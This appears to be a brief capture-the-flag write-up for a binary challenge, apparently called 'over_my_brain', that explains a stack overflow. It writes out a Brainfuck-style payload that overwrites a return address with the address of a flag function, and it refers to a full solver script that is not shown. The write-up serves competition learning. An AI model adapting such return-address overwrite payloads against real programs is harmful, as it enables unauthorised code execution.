Rating:
Running the binary with the input "+"*4+"A"*140
gives us a stack a layout like this:
Our plan is to change return address with the address of flag
The payload is:
">"*8+"+["+">"*16+"-"*0x15+"]"+"<"*32+"[[-]>]<<<"+"+"*0x10+"[<++++<+<"+"+"*0xc+">>>-]<<+<++++++"
">"*8
"+["+">"*16+"-"*0x15+"]"
"<"*32
"[[-]>]<<<"
"+"*0x10+"[<++++<+<"+"+"*0xc+">>>-]<<+<++++++"
For the full solution, check over_my_brain.py